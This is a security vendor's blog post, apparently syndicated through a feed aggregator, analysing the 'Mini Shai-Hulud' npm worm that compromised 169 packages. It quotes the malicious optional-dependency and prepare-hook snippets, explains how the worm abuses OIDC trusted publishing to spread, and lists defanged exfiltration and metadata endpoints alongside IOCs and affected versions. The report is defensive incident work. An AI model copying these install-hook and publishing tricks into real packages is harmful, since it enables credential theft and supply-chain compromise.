惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

大猫的无限游戏
大猫的无限游戏
J
Java Code Geeks
小众软件
小众软件
D
Docker
腾讯CDC
H
Hackread – Cybersecurity News, Data Breaches, AI and More
V
V2EX
博客园 - 叶小钗
GbyAI
GbyAI
Microsoft Azure Blog
Microsoft Azure Blog
Stack Overflow Blog
Stack Overflow Blog
B
Blog RSS Feed
酷 壳 – CoolShell
酷 壳 – CoolShell
博客园 - 【当耐特】
IT之家
IT之家
博客园 - 司徒正美
M
MIT News - Artificial intelligence
T
The Blog of Author Tim Ferriss
The GitHub Blog
The GitHub Blog
罗磊的独立博客
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
L
LangChain Blog
阮一峰的网络日志
阮一峰的网络日志
C
Check Point Blog

Aikido Security's Blog

GlassWorm goes native: New Zig dropper infects every IDE on your machine Aikido Attack finds multiple 0-days in Hoppscotch The cybersecurity doomerism around Mythos doesn't match what we see on the ground axios compromised on npm: maintainer account hijacked, RAT deployed Popular telnyx package compromised on PyPI by TeamPCP Aikido × Lovable: Vibe, Fix, Ship CanisterWorm Gets Teeth: TeamPCP's Kubernetes Wiper Targets Iran TeamPCP deploys CanisterWorm on NPM following Trivy compromise Security testing is validating software that no longer exists Aikido Recognized by Frost & Sullivan with the 2026 Customer Value Leadership Award in ASPM GlassWorm Hides a RAT Inside a Malicious Chrome Extension fast-draft Open VSX Extension Compromised by BlokTrooper Glassworm Strikes Popular React Native Phone Number Packages Glassworm Is Back: A New Wave of Invisible Unicode Attacks Hits Hundreds of Repositories How Security Teams Fight Back Against AI-Powered Hackers Introducing Betterleaks, an open source secrets scanner by the author of Gitleaks Trump’s 2026 cybersecurity strategy: From compliance to consequence How does AI pentesting work with compliance? What continuous pentesting actually requires Rare Not Random: Using Token Efficiency for Secrets Scanning Persistent XSS/RCE using WebSockets in Storybook’s dev server Why Determinism Is Still a Necessity in Security WAF vs. RASP vs. ADR Introducing Aikido Infinite: A new model of self-securing software How Aikido secures AI pentesting agents by design Astro Full-Read SSRF via Host Header Injection How to Get Your Board to Care About Security (Before a Breach Forces the Issue) What is Slopsquatting? The AI Package Hallucination Attack Already Happening SvelteSpill: A Cache Deception Bug in SvelteKit + Vercel Top 6 Wiz Code Alternatives
Mini Shai-Hulud Is Back: npm Worm Hits over 160 Packages,...
Raphael Silva · 2026-05-12 · via Aikido Security's Blog

Published on:

May 12, 2026

Mini Shai-Hulud is back. Like I said before, we were yet to see the full scale of the attack.

The npm campaign we covered in April, when it targeted SAP packages, has now turned into a much larger compromise. Our Malware Team detected 373 malicious package-version entries across 169 npm package names.

The basic goal is still the same: steal credentials from developer machines and CI/CD runners, then use those credentials to reach more packages.

What changed is the scale and the release path. This wave does not just look like someone manually publishing bad versions. The malware is built to run inside build systems, steal npm and GitHub access, and abuse trusted publishing paths to push new compromised packages.

If you read our earlier post, Mini Shai-Hulud Targets SAP npm Packages With a Bun-Based Secret Stealer, this is the follow-up: the same idea, but with a much bigger blast radius.

What happened

TanStack is still one of the most visible clusters, but it is no longer the whole story. The affected set now includes packages across @squawk, @tanstack, @uipath, @tallyui, @beproduct, @mistralai, @draftlab, @draftauth, @taskflow-corp, @tolka, and several unscoped packages.

The largest clusters in this campaign are:

  • @squawk: 87 package-version entries
  • @tanstack: 83 package-version entries
  • @uipath: 66 package-version entries
  • unscoped packages: 39 package-version entries
  • @tallyui: 30 package-version entries
  • @beproduct: 18 package-version entries

This list is still moving. You can see the full list of affected packages at the end of the blog. The important part is not only the number of packages, but where they run. These packages are likely to be installed in local developer environments, CI jobs, release workflows, and internal build systems.

How the new wave works

In the SAP wave, the compromised packages added a preinstall hook that ran setup.mjs, which then used Bun to execute a large obfuscated payload named execution.js.

This wave uses a slightly different route.

In compromised TanStack packages, the package tarball includes a new obfuscated file at the package root:

router_init.js

The compromised package also adds an optional dependency that points to a GitHub-hosted package

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

That Git dependency contains a prepare script:

"scripts": {
  "prepare": "bun run tanstack_runner.js && exit 1"
}

This is the trick. npm runs lifecycle scripts for Git dependencies during installation. So a package that looks like a normal dependency can quietly reach into a GitHub-hosted dependency, run its prepare hook, and execute the payload.

The && exit 1 at the end is also interesting. Because the dependency is optional, failing after the payload runs can make the install look less suspicious. The malicious code has already executed by the time npm treats the optional dependency as failed.

Why Trusted Publishing Matters Here

One of the more uncomfortable parts of this wave is the use of trusted publishing.

Trusted publishing is meant to remove long-lived npm tokens from release workflows. A GitHub Actions workflow can use OIDC to request a short-lived npm publish token, publish the package, and attach provenance to the release.

That is good when the workflow is clean.

It is much worse when attacker-controlled code runs inside the workflow. At that point, the attacker may not need to steal a long-lived npm token at all. They can use the workflow's own OIDC permissions to mint a publish token during the build and publish from there.

That also means provenance is not a full safety signal. A malicious package can still come from the expected GitHub Actions workflow if that workflow was abused during the release.

In plain English: provenance can tell you where the package was built. It does not prove the build was safe.

What the payload tries to sdteal

The payload is built for CI/CD and developer environments.

It looks for:

  • GitHub tokens
  • npm tokens
  • GitHub Actions OIDC tokens
  • AWS credentials and instance metadata
  • Kubernetes service account files
  • HashiCorp Vault tokens and local Vault endpoints
  • environment variables
  • local filesystem secrets

The payload also contains propagation logic. After stealing tokens, it attempts to use them to find packages the victim can publish, modify package archives, inject the malicious dependency, bump versions, and publish new compromised releases.

That is what makes this more than a normal infostealer. The malware is not only trying to steal from the current victim. It is trying to turn the victim's release access into the next infection path.

What changed from the SAP attack

The SAP wave was smaller in package count but still high impact because it touched enterprise build tooling.

This wave is broader. TanStack packages are widely used in modern JavaScript applications, especially routing and full-stack React tooling. A compromised package in that part of the dependency tree can land in a lot of places quickly.

There are also some technical changes:

  • the SAP packages used setup.mjs and execution.js
  • the newer TanStack wave uses router_init.js and a GitHub-hosted @tanstack/setup dependency
  • the newer wave leans harder on GitHub Actions, OIDC, npm publishing, and package repacking
  • the payload is still Bun-based and still focused on stealing secrets

The pattern is the same, though: get code execution during install, steal credentials, use those credentials to publish more malware.

Detection and mitigation

Start with lockfiles and package caches.

Search for affected namespaces and packages:

  • @squawk/
  • @tanstack/
  • @uipath/
  • @tallyui/
  • @beproduct/nestjs-auth
  • @mistralai/
  • @draftauth/
  • @draftlab/
  • @taskflow-corp/cli
  • @tolka/cli
  • @ml-toolkit-ts/
  • @mesadev/
  • @dirigible-ai/sdk
  • @supersurkhet/
  • unscoped packages listed above, including safe-action, ts-dna, cross-stitch, cmux-agent-mcp, agentwork-cli, git-branch-selector, wot-api, git-git-git, nextmove-mcp, and ml-toolkit-ts

Search for the new payload files and dependency markers:

  • router_init.js
  • router_runtime.js
  • tanstack_runner.js
  • @tanstack/setup
  • github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c
  • bun run tanstack_runner.js

Search CI logs for:

  • unexpected Bun execution during npm install
  • optional dependency failures involving @tanstack/setup
  • outbound connections during dependency installation
  • npm publish activity from workflows that should not have published
  • GitHub Actions OIDC token requests during unexpected steps

If a compromised package version ran on a developer machine or CI runner, rotate secrets from that environment. Do not stop at npm tokens.

Rotate or review:

  • npm tokens and package publishing access
  • GitHub PATs and GitHub Actions secrets
  • cloud credentials
  • Kubernetes service account tokens
  • Vault tokens
  • deployment secrets

Also audit recent npm publishes, GitHub Actions runs, and provenance records. A valid provenance record should not be treated as proof that the package is clean.

Indicators of compromise

Files and payloads:

  • router_init.js
  • router_runtime.js
  • tanstack_runner.js
  • router_init.js SHA-256: ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
  • tanstack_runner.js SHA-256: 2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96

Package markers:

  • @tanstack/setup
  • github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c
  • prepare script running bun run tanstack_runner.js
  • root-level payload file included outside the normal package contents

Network and service indicators:

  • hxxp://filev2[.]getsession[.]org/file/
  • hxxp://169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/
  • hxxp://169[.]254[.]170[.]2
  • hxxps://registry[.]npmjs[.]org/-/npm/v1/tokens
  • vault[.]svc[.]cluster[.]local:8200

Campaign markers:

  • A Mini Shai-Hulud has Appeared
  • Dune-themed repository names used for worm output and staging

Conclusion

Mini Shai-Hulud has moved from a smaller SAP-focused incident into a broader npm supply-chain attack.

The important lesson is not just that more packages were compromised. It is that the malware is built around the way modern release systems work. It runs during install, looks for CI/CD credentials, abuses GitHub and npm publishing paths, and tries to push itself into the next package.

If any of the affected packages ran in your environment, treat the machine or runner as exposed until secrets are rotated and recent publish activity has been reviewed.

How Aikido detects this

If you are an Aikido user, check your central feed and filter on malware issues. This will surface as a 100/100 critical issue. Aikido rescans nightly, but we recommend triggering a manual rescan now.

If you are not yet an Aikido user, you can create an account and connect your repos. Our malware coverage is included in the free plan, no credit card required.

For broader coverage across your whole team, Aikido's Endpoint Protection gives you visibility and control over the software packages installed on your team's devices. It covers browser extensions, code libraries, IDE plugins, and build dependencies, all in one place. Stop malware before it gets installed.

For future protection, consider Aikido Safe Chain (open source). Safe Chain sits in your existing workflow, intercepting npm, npx, yarn, pnpm, and pnpx commands and checking packages against Aikido Intel before install.

Appendix: Affected Packages And Versions

Current list of packages and versions our team has identified:

  • @tanstack/history: 1.161.9, 1.161.12
  • @tanstack/react-router: 1.169.5, 1.169.8
  • @tanstack/router-core: 1.169.5, 1.169.8
  • @tanstack/router-utils: 1.161.11, 1.161.14
  • @tanstack/router-plugin: 1.167.38, 1.167.41
  • @tanstack/virtual-file-routes: 1.161.10, 1.161.13
  • @tanstack/router-generator: 1.166.45, 1.166.48
  • @tanstack/start-server-core: 1.167.33, 1.167.36
  • @tanstack/start-client-core: 1.168.5, 1.168.8
  • @tanstack/start-storage-context: 1.166.38, 1.166.41
  • @tanstack/start-plugin-core: 1.169.23, 1.169.26
  • @tanstack/react-start-server: 1.166.55, 1.166.58
  • @tanstack/react-start-client: 1.166.51, 1.166.54
  • @tanstack/start-fn-stubs: 1.161.9, 1.161.12
  • @tanstack/react-start: 1.167.68, 1.167.71
  • @tanstack/react-start-rsc: 0.0.47, 0.0.50
  • @mistralai/mistralai: 2.2.2, 2.2.3, 2.2.4
  • @tanstack/react-router-devtools: 1.166.16, 1.166.19
  • @tanstack/router-devtools-core: 1.167.6, 1.167.9
  • @tanstack/router-devtools: 1.166.16, 1.166.19
  • @tanstack/router-ssr-query-core: 1.168.3, 1.168.6
  • @tanstack/react-router-ssr-query: 1.166.15, 1.166.18
  • @tanstack/router-cli: 1.166.46, 1.166.49
  • @tanstack/zod-adapter: 1.166.12, 1.166.15
  • @tanstack/eslint-plugin-router: 1.161.9
  • @tanstack/router-vite-plugin: 1.166.53, 1.166.56
  • @tanstack/nitro-v2-vite-plugin: 1.154.12, 1.154.15
  • @mistralai/mistralai-gcp: 1.7.1, 1.7.2, 1.7.3
  • @tanstack/solid-router: 1.169.5, 1.169.8
  • @tanstack/solid-start: 1.167.65, 1.167.68
  • @tanstack/solid-start-client: 1.166.50, 1.166.53
  • @tanstack/solid-start-server: 1.166.54, 1.166.57
  • @tanstack/solid-router-devtools: 1.166.16, 1.166.19
  • @tanstack/start-static-server-functions: 1.166.44, 1.166.47
  • @tanstack/vue-router: 1.169.5, 1.169.8
  • @uipath/apollo-react: 4.24.5
  • @tanstack/solid-router-ssr-query: 1.166.15, 1.166.18
  • safe-action: 0.8.3, 0.8.4
  • @tanstack/valibot-adapter: 1.166.12, 1.166.15
  • @tanstack/vue-start: 1.167.61, 1.167.64
  • @uipath/apollo-wind: 2.16.2
  • @uipath/cli: 1.0.1
  • @tanstack/vue-start-server: 1.166.50, 1.166.53
  • @squawk/types: 0.8.2, 0.8.3, 0.8.4
  • @uipath/rpa-tool: 0.9.5
  • @squawk/mcp: 0.9.1, 0.9.2, 0.9.3, 0.9.4
  • @tanstack/vue-start-client: 1.166.46, 1.166.49
  • @squawk/weather: 0.5.6, 0.5.7, 0.5.8, 0.5.9
  • @squawk/airspace: 0.8.1, 0.8.2, 0.8.3, 0.8.4
  • @squawk/icao-registry-data: 0.8.4, 0.8.5, 0.8.6, 0.8.7
  • @tanstack/arktype-adapter: 1.166.12, 1.166.15
  • @squawk/flightplan: 0.5.2, 0.5.3, 0.5.4, 0.5.5
  • @squawk/airports: 0.6.2, 0.6.3, 0.6.4, 0.6.5
  • @mesadev/sdk: 0.28.3
  • @squawk/geo: 0.4.4, 0.4.5, 0.4.6, 0.4.7
  • @mesadev/rest: 0.28.3
  • @squawk/procedure-data: 0.7.3, 0.7.4, 0.7.5, 0.7.6
  • @squawk/navaid-data: 0.6.4, 0.6.5, 0.6.6, 0.6.7
  • @squawk/fix-data: 0.6.4, 0.6.5, 0.6.6, 0.6.7
  • @squawk/navaids: 0.4.2, 0.4.3, 0.4.4, 0.4.5
  • @squawk/fixes: 0.3.2, 0.3.3, 0.3.4, 0.3.5
  • @squawk/airport-data: 0.7.4, 0.7.5, 0.7.6, 0.7.7
  • @squawk/airway-data: 0.5.4, 0.5.5, 0.5.6, 0.5.7
  • @squawk/units: 0.4.3, 0.4.4, 0.4.5, 0.4.6
  • @squawk/procedures: 0.5.2, 0.5.3, 0.5.4, 0.5.5
  • @squawk/airways: 0.4.2, 0.4.3, 0.4.4, 0.4.5
  • @squawk/icao-registry: 0.5.2, 0.5.3, 0.5.4, 0.5.5
  • @uipath/apollo-core: 5.9.2
  • @squawk/notams: 0.3.6, 0.3.7, 0.3.8, 0.3.9
  • @uipath/filesystem: 1.0.1
  • @uipath/solutionpackager-tool-core: 0.0.34
  • @squawk/flight-math: 0.5.4, 0.5.5, 0.5.6, 0.5.7
  • @squawk/airspace-data: 0.5.3, 0.5.4, 0.5.5, 0.5.6
  • @mistralai/mistralai-azure: 1.7.1, 1.7.2, 1.7.3
  • @uipath/solution-tool: 1.0.1
  • @tanstack/eslint-plugin-start: 0.0.4, 0.0.7
  • @uipath/maestro-tool: 1.0.1
  • @uipath/codedapp-tool: 1.0.1
  • @uipath/agent-tool: 1.0.1
  • @draftlab/auth: 0.24.1, 0.24.2
  • @uipath/orchestrator-tool: 1.0.1
  • @uipath/integrationservice-tool: 1.0.2
  • @taskflow-corp/cli: 0.1.24, 0.1.25, 0.1.26, 0.1.27, 0.1.28, 0.1.29
  • @tanstack/vue-router-ssr-query: 1.166.15, 1.166.18
  • @uipath/rpa-legacy-tool: 1.0.1
  • @uipath/vertical-solutions-tool: 1.0.1
  • @uipath/flow-tool: 1.0.2
  • @uipath/codedagent-tool: 1.0.1
  • @uipath/common: 1.0.1
  • @uipath/resource-tool: 1.0.1
  • @uipath/auth: 1.0.1
  • @uipath/docsai-tool: 1.0.1
  • @uipath/case-tool: 1.0.1
  • @uipath/api-workflow-tool: 1.0.1
  • @tanstack/vue-router-devtools: 1.166.16, 1.166.19
  • @uipath/test-manager-tool: 1.0.2
  • @uipath/robot: 1.3.4
  • @uipath/traces-tool: 1.0.1
  • @uipath/agent-sdk: 1.0.2
  • @uipath/integrationservice-sdk: 1.0.2
  • @uipath/maestro-sdk: 1.0.1
  • @uipath/data-fabric-tool: 1.0.2
  • @mesadev/saguaro: 0.4.22
  • @uipath/tasks-tool: 1.0.1
  • @uipath/insights-tool: 1.0.1
  • @uipath/insights-sdk: 1.0.1
  • @uipath/uipath-python-bridge: 1.0.1
  • @draftlab/db: 0.16.1
  • @uipath/ap-chat: 1.5.7
  • @uipath/project-packager: 1.1.16
  • @uipath/packager-tool-case: 0.0.9
  • @uipath/packager-tool-workflowcompiler-browser: 0.0.34
  • @uipath/packager-tool-connector: 0.0.19
  • @uipath/packager-tool-workflowcompiler: 0.0.16
  • @uipath/packager-tool-webapp: 1.0.6
  • @uipath/packager-tool-apiworkflow: 0.0.19
  • @uipath/packager-tool-functions: 0.1.1
  • ts-dna: 3.0.1, 3.0.2, 3.0.3, 3.0.4
  • @uipath/widget.sdk: 1.2.3
  • @uipath/resources-tool: 0.1.11
  • @uipath/agent.sdk: 0.0.18
  • cross-stitch: 1.1.3, 1.1.4, 1.1.5, 1.1.6
  • @uipath/codedagents-tool: 0.1.12
  • @uipath/aops-policy-tool: 0.3.1
  • @uipath/solution-packager: 0.0.35
  • @draftlab/auth-router: 0.5.1, 0.5.2
  • cmux-agent-mcp: 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8
  • agentwork-cli: 0.1.4, 0.1.5
  • @uipath/packager-tool-bpmn: 0.0.9
  • @draftauth/core: 0.13.1, 0.13.2
  • @dirigible-ai/sdk: 0.6.2, 0.6.3
  • @uipath/packager-tool-flow: 0.0.19
  • git-branch-selector: 1.3.3, 1.3.4, 1.3.5, 1.3.6, 1.3.7
  • wot-api: 0.8.1, 0.8.2, 0.8.3, 0.8.4
  • git-git-git: 1.0.8, 1.0.9, 1.0.10, 1.0.11, 1.0.12
  • @beproduct/nestjs-auth: 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8, 0.1.9, 0.1.10, 0.1.11, 0.1.12, 0.1.13, 0.1.14, 0.1.15, 0.1.16, 0.1.17, 0.1.18, 0.1.19
  • @ml-toolkit-ts/xgboost: 1.0.3, 1.0.4
  • nextmove-mcp: 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7
  • ml-toolkit-ts: 1.0.4, 1.0.5
  • @uipath/telemetry: 0.0.7
  • @draftauth/client: 0.2.1, 0.2.2
  • @ml-toolkit-ts/preprocessing: 1.0.2, 1.0.3
  • @tallyui/connector-medusa: 1.0.1, 1.0.2, 1.0.3
  • @uipath/tool-workflowcompiler: 0.0.12
  • @uipath/vss: 0.1.6
  • @tallyui/theme: 0.2.1, 0.2.2, 0.2.3
  • @tallyui/storage-sqlite: 0.2.1, 0.2.2, 0.2.3
  • @uipath/solutionpackager-sdk: 1.0.11
  • @tallyui/connector-vendure: 1.0.1, 1.0.2, 1.0.3
  • @tallyui/core: 0.2.1, 0.2.2, 0.2.3
  • @tallyui/connector-woocommerce: 1.0.1, 1.0.2, 1.0.3
  • @tallyui/components: 1.0.1, 1.0.2, 1.0.3
  • @uipath/ui-widgets-multi-file-upload: 1.0.1
  • @tallyui/pos: 0.1.1, 0.1.2, 0.1.3
  • @tallyui/database: 1.0.1, 1.0.2, 1.0.3
  • @supersurkhet/cli: 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6, 0.0.7
  • @tallyui/connector-shopify: 1.0.1, 1.0.2, 1.0.3
  • @tolka/cli: 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6
  • @supersurkhet/sdk: 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6, 0.0.7
  • @uipath/access-policy-tool: 0.3.1
  • @uipath/context-grounding-tool: 0.1.1
  • @uipath/gov-tool: 0.3.1
  • @uipath/admin-tool: 0.1.1
  • @uipath/identity-tool: 0.1.1
  • @uipath/llmgw-tool: 1.0.1
  • @uipath/resourcecatalog-tool: 0.1.1
  • @uipath/functions-tool: 1.0.1
  • @uipath/access-policy-sdk: 0.3.1
  • @uipath/platform-tool: 1.0.1

Last updated on:

May 19, 2026

Tired of false positives?

Try Aikido like 100k others.

Start Now

Get a personalized walkthrough

Trusted by 100k+ teams

Book Now

Scan your app for IDORs and real attack paths

Trusted by 100k+ teams

Start Scanning

See how AI pentests your app

Trusted by 100k+ teams

Start Testing

Vulnerabilities & Threats

Compromised Rust crate onering performs code exfiltration

The compromised onering Rust crate v1.4.1 on crates.io shipped a malicious build.rs that exfiltrates the diff of your latest commit to a hosted Sentry endpoint every time you build.

Vulnerabilities & Threats

10 year old critical vulnerability in phpBB affecting tens of millions of users across thousands of forums

Aikido Security discovered a critical unauthenticated authentication bypass in phpBB affecting tens of millions of users. A single HTTP request is all it takes to take over any account — a vulnerability that's been sitting in the codebase since 2014.

Vulnerabilities & Threats

Wait, binding.gyp Can Do What? Exploring npm's Weirdest Build System

Deep dive into binding.gyp, the often overlooked npm build file that can execute malicious code at install time through shell expansions, sandbox escapes, and compiler hijacking.

Get secure now

Secure your code, cloud, and runtime in one central system.
Find and fix vulnerabilities fast automatically.

No credit card required | Scan results in 32secs.